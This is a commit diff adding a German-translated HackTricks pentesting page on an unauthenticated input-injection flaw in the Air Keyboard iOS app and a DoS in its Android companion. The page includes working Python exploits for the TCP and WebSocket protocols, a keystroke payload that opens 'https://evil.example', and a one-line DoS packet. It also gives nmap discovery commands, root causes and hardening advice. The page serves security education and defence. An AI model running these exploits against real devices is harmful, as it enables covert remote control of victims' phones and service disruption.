Translated ['src/mobile-pentesting/ios-pentesting/air-keyboard-remote-in

This commit is contained in:
Translator 2025-07-30 14:15:02 +00:00
parent 3176af5b6a
commit 8b2624283e

View File

@ -1,18 +1,25 @@
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
Die iOS-Version der kommerziellen "Air Keyboard"-Anwendung (App Store ID 6463187929) öffnet einen **klartext TCP-Dienst auf Port 8888**, der Tastatureingabeframes **ohne jegliche Authentifizierung** akzeptiert. Jedes Gerät im selben Wi-Fi-Netzwerk kann sich mit diesem Port verbinden und beliebige Tastatureingaben in das Telefon des Opfers injizieren, was zu **vollständiger Ferninteraktionsübernahme** führt.
Die iOS-Version der kommerziellen **„Air Keyboard“**-Anwendung (App Store ID 6463187929) bietet einen Dienst im lokalen Netzwerk an, der **Tastatureingabeframes ohne jegliche Authentifizierung oder Herkunftsüberprüfung akzeptiert**. Je nach installierter Version ist der Dienst entweder:
Eine begleitende Android-Version hört auf **Port 55535**. Sie führt einen schwachen AES-ECB-Handshake durch, aber gestalteter Müll verursacht eine **nicht behandelte Ausnahme in der OpenSSL-Dekrutierungsroutine**, die den Hintergrunddienst zum Absturz bringt (**DoS**).
* **≤ 1.0.4** roter TCP-Listener auf **Port 8888**, der einen 2-Byte-Längenheader erwartet, gefolgt von einer *device-id* und der ASCII-Nutzlast.
* **≥ 1.0.5 (Juni 2025)** **WebSocket**-Listener auf dem *gleichen* Port (**8888**), der **JSON**-Schlüssel wie `{"type":1,"text":"…"}` analysiert.
## 1. Service Discovery
Jedes Gerät im selben Wi-Fi / Subnetz kann daher **willkürliche Tastatureingaben in das Telefon des Opfers injizieren und vollständige Remote-Interaktionsübernahme erreichen**. Eine begleitende Android-Version hört auf **Port 55535**. Sie führt einen schwachen AES-ECB-Handshake durch, aber gestalteter Müll verursacht dennoch eine **nicht behandelte Ausnahme in OpenSSL**, die den Hintergrunddienst zum Absturz bringt (**DoS**).
> Die Schwachstelle ist **zum Zeitpunkt des Schreibens (Juli 2025) immer noch nicht gepatcht** und die Anwendung bleibt im App Store verfügbar.
---
## 1. Dienstentdeckung
Scannen Sie das lokale Netzwerk und suchen Sie nach den beiden festen Ports, die von den Apps verwendet werden:
```bash
# iOS (input-injection)
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
@ -20,72 +27,146 @@ nmap -p 55535 --open 192.168.1.0/24
```
Auf Android-Geräten können Sie das verantwortliche Paket lokal identifizieren:
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
ls -l /proc/<PID>/cmdline # map PID → package name
```
## 2. Frame-Format (iOS)
Auf **jailbroken iOS** können Sie etwas Ähnliches tun mit `lsof -i -nP | grep LISTEN | grep 8888`.
Die Binärdatei zeigt die folgende Parsing-Logik innerhalb der `handleInputFrame()`-Routine:
---
## 2. Protokolldetails (iOS)
### 2.1 Legacy (≤ 1.0.4) benutzerdefinierte binäre Frames
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
Die deklarierte Länge umfasst das `device_id` Byte **aber nicht** den zweibyte Header selbst.
Die deklarierte *Länge* umfasst das `device_id` Byte **aber nicht** den zweibyte Header selbst.
## 3. Exploitation PoC
### 2.2 Aktuell (≥ 1.0.5) JSON über WebSocket
Version 1.0.5 wurde stillschweigend auf WebSockets migriert, während die Portnummer unverändert blieb. Ein minimaler Tastendruck sieht aus wie:
```json
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
```
Kein Handshake, Token oder Signatur ist erforderlich das erste JSON-Objekt löst bereits das UI-Ereignis aus.
---
## 3. Ausnutzung PoC
### 3.1 Zielgerichtet ≤ 1.0.4 (raw TCP)
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
print("[+] Injected", keystrokes)
```
Jede druckbare ASCII (einschließlich `\n`, `\r`, Sondertasten usw.) kann gesendet werden, was dem Angreifer effektiv die gleiche Macht wie physische Benutzereingaben verleiht: Apps starten, IMs senden, Phishing-URLs besuchen usw.
### 3.2 Zielgerichtet ≥ 1.0.5 (WebSocket)
```python
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
```
*Jeder druckbare ASCII-Zeichen — einschließlich Zeilenumbrüche, Tabs und den meisten Sondertasten — kann gesendet werden, was dem Angreifer die gleiche Macht wie physische Benutzereingaben verleiht: Apps starten, IMs senden, bösartige URLs öffnen, Einstellungen umschalten usw.*
---
## 4. Android Companion Denial-of-Service
Der Android-Port (55535) erwartet ein 4-Zeichen-Passwort, das mit einem **fest codierten AES-128-ECB-Schlüssel** verschlüsselt ist, gefolgt von einem zufälligen Nonce. Parsing-Fehler steigen zu `AES_decrypt()` auf und werden nicht abgefangen, was den Listener-Thread beendet. Ein einzelnes fehlerhaftes Paket reicht daher aus, um legitime Benutzer bis zum Neustart des Prozesses getrennt zu halten.
Der Android-Port (55535) erwartet ein **4-Zeichen-Passwort, das mit einem fest codierten AES-128-ECB-Schlüssel verschlüsselt ist**, gefolgt von einem zufälligen Nonce. Parsing-Fehler steigen zu `AES_decrypt()` auf und werden nicht abgefangen, was den Listener-Thread beendet. Ein einzelnes fehlerhaftes Paket reicht daher aus, um legitime Benutzer bis zum Neustart des Prozesses getrennt zu halten.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
## 5. Ursachenanalyse
---
1. **Keine Herkunfts- / Integritätsprüfungen** bei eingehenden Frames (iOS).
2. **Kryptografischer Missbrauch** (statischer Schlüssel, ECB, fehlende Längenvalidierung) und **mangelnde Ausnahmebehandlung** (Android).
## 5. Verwandte Apps Ein wiederkehrendes Anti-Muster
## 6. Minderung & Härtungsideen
Air Keyboard ist **kein Einzelfall**. Andere mobile „Remote-Tastatur/Maus“-Hilfsprogramme haben denselben Fehler:
* Exponiere niemals nicht authentifizierte Dienste auf einem mobilen Endgerät.
* Leite gerätespezifische Geheimnisse während des Onboardings ab und verifiziere sie, bevor du Eingaben verarbeitest.
* Binde den Listener an `127.0.0.1` und verwende einen gegenseitig authentifizierten, verschlüsselten Transport (z. B. TLS, Noise) für die Fernsteuerung.
* Erkenne unerwartete offene Ports während mobiler Sicherheitsüberprüfungen (`netstat`, `lsof`, `frida-trace` auf `socket()` usw.).
* Als Endbenutzer: Deinstalliere Air Keyboard oder verwende es nur in vertrauenswürdigen, isolierten Wi-Fi-Netzwerken.
* **Telepad ≤ 1.0.7** CVE-2022-45477/78 erlauben nicht authentifizierte Befehlsausführung und Klartext-Tastatureingabeprotokollierung.
* **PC Keyboard ≤ 30** CVE-2022-45479/80 nicht authentifizierte RCE & Verkehrsschnüffeln.
* **Lazy Mouse ≤ 2.0.1** CVE-2022-45481/82/83 standardmäßig kein Passwort, schwache PIN-Brute-Force und Klartext-Leckage.
Diese Fälle heben eine systematische Vernachlässigung der **netzwerkseitigen Angriffsflächen in mobilen Apps** hervor.
---
## 6. Grundursachen
1. **Keine Herkunfts-/Integritätsprüfungen** bei eingehenden Frames (iOS).
2. **Kryptografischer Missbrauch** (statischer Schlüssel, ECB, fehlende Längenvalidierung) und **fehlende Ausnahmebehandlung** (Android).
3. **Vom Benutzer gewährte Local-Network-Berechtigung ≠ Sicherheit** iOS fordert zur Laufzeit die Zustimmung für LAN-Verkehr an, ersetzt jedoch keine ordnungsgemäße Authentifizierung.
---
## 7. Härtungs- & Verteidigungsmaßnahmen
Entwicklerempfehlungen:
* Binden Sie den Listener an **`127.0.0.1`** und tunneln Sie über **mTLS** oder **Noise XX**, wenn Fernsteuerung erforderlich ist.
* Leiten Sie **geräteabhängige Geheimnisse während der Onboarding-Phase ab** (z. B. QR-Code oder Pairing-PIN) und erzwingen Sie *gegenseitige* Authentifizierung, bevor Sie Eingaben verarbeiten.
* Übernehmen Sie das **Apple Network Framework** mit *NWListener* + TLS anstelle von Roh-Sockets.
* Implementieren Sie **Längenpräfix-Sanity-Checks** und strukturierte Ausnahmebehandlung beim Entschlüsseln oder Dekodieren von Frames.
Blue-/Red-Team schnelle Erfolge:
* **Netzwerksuche:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` oder Wireshark-Filter `tcp.port == 8888`.
* **Laufzeitanalyse:** Frida-Skript, das `socket()`/`NWConnection` hookt, um unerwartete Listener aufzulisten.
* **iOS App Privacy Report (Einstellungen ▸ Datenschutz & Sicherheit ▸ App-Datenschutzbericht)** hebt Apps hervor, die LAN-Adressen kontaktieren nützlich, um bösartige Dienste zu erkennen.
* **Mobile EDRs** können einfache Yara-L-Regeln für die JSON-Schlüssel `"selectionStart"`, `"selectionEnd"` innerhalb von Klartext-TCP-Nutzlasten auf Port 8888 hinzufügen.
---
## Erkennungs-Checkliste (Pentester)
```bash
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
```
---
## Referenzen
- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
- [Exploit-DB 52333 Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
- [Mobile-Hacker Blog (17. Juli 2025) Remote Input Injection-Sicherheitsanfälligkeit in der Air Keyboard iOS App weiterhin ungepatcht](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
{{#include ../../banners/hacktricks-training.md}}